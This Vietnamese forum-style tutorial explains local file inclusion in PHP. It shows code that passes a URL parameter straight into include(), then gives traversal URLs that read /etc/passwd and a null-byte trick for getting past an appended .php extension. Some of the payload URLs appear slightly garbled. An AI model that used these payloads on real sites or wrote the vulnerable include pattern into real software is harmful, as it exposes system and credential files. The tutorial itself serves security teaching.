Đây là một trong những lỗi trên ứng dụng web mà nhiều nhà lập trình mắc phải:
Để hiểu về lỗi này các bạn hãy xem ví dụ sau:
Trích:
PHP Code:
<?php
$page = $_GET[page];
include($page);
?>
Với đoạn mã trên, ứng dụng web sẽ nhận biến "page" từ URL và include file tương ứng.
Trích:
Vd: http://site.com/index.php?page=test.php.
Link trên truyền vào biến page giá trị test.php, ứng dụng sẽ include file này trong thư mục hiện hành.
Nếu file nằm trong 1 cấp, URL sẽ chuyển thành:
Trích:
http://site.com/index.php?page=/test/test.php
Nếu file test.php nằm trong folder hiện hành, ngoài cách ghi trên, ta có thể ghi một cách khác như sau: http://site.com/index.php?page=../test.php. Với ".." chỉ đến thư mục cha.
Đến đây ta có thể thấy một điểm yếu với cách lập trình trên. Với việc sử dụng ../ ta có thể chuyển ra hay vào 1 cấp thư mục. Do đó, nếu vận dụng hợp lý ta có thể include file từ bất kỳ thư mục nào mong muốn. File này có thể nằm trong web root hoặc không.
Việc vận dụng tùy theo web root đang để trong bao nhiêu cấp.
Vd sau thử lấy file passwd từ local:
Trích:
http://site.com/index.php?page=../...../../etc/passwd
Nếu được ta sẽ nhận file passwd dạng sau (linux)
Trích:
username: passwd:UID:GID:full_name:directory:shell
Trích:
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
Trong một số trường hợp, website dùng biến chỉ với tên file, phần extension tự điền thêm vào sẽ dẫn đến phát sinh lỗi nếu ta ghi một tên file đầy đủ
Trích:
PHP Code:
<?php
$page = $_GET["page"];
include("$page.php");
?>
Vd trên nhận biết page và tự nối thêm php cho extension. Trong trường hợp này nếu ta truyền tham số như cũ sẽ sinh lỗi:
Trích:
http://site.com/index.php?file=../...../../etc/passwd
Trích:
http://site.com/index.php?file=../.....etc/passwd.php that file don't exist
Khi gặp trường hợp này đơn giản ta có thể thêm (Null) cuối. Server sẽ bỏ qua giá trị sau
Trích:
http://site.com/index.php?file=../...../../etc/passwd
Với lỗi này nếu khai thác qua các file có giá trị sẽ là mối đe dọa lớn đối với hệ thống.
Reflink:http://nhatnghe.com/forum/showthread.php?t=27469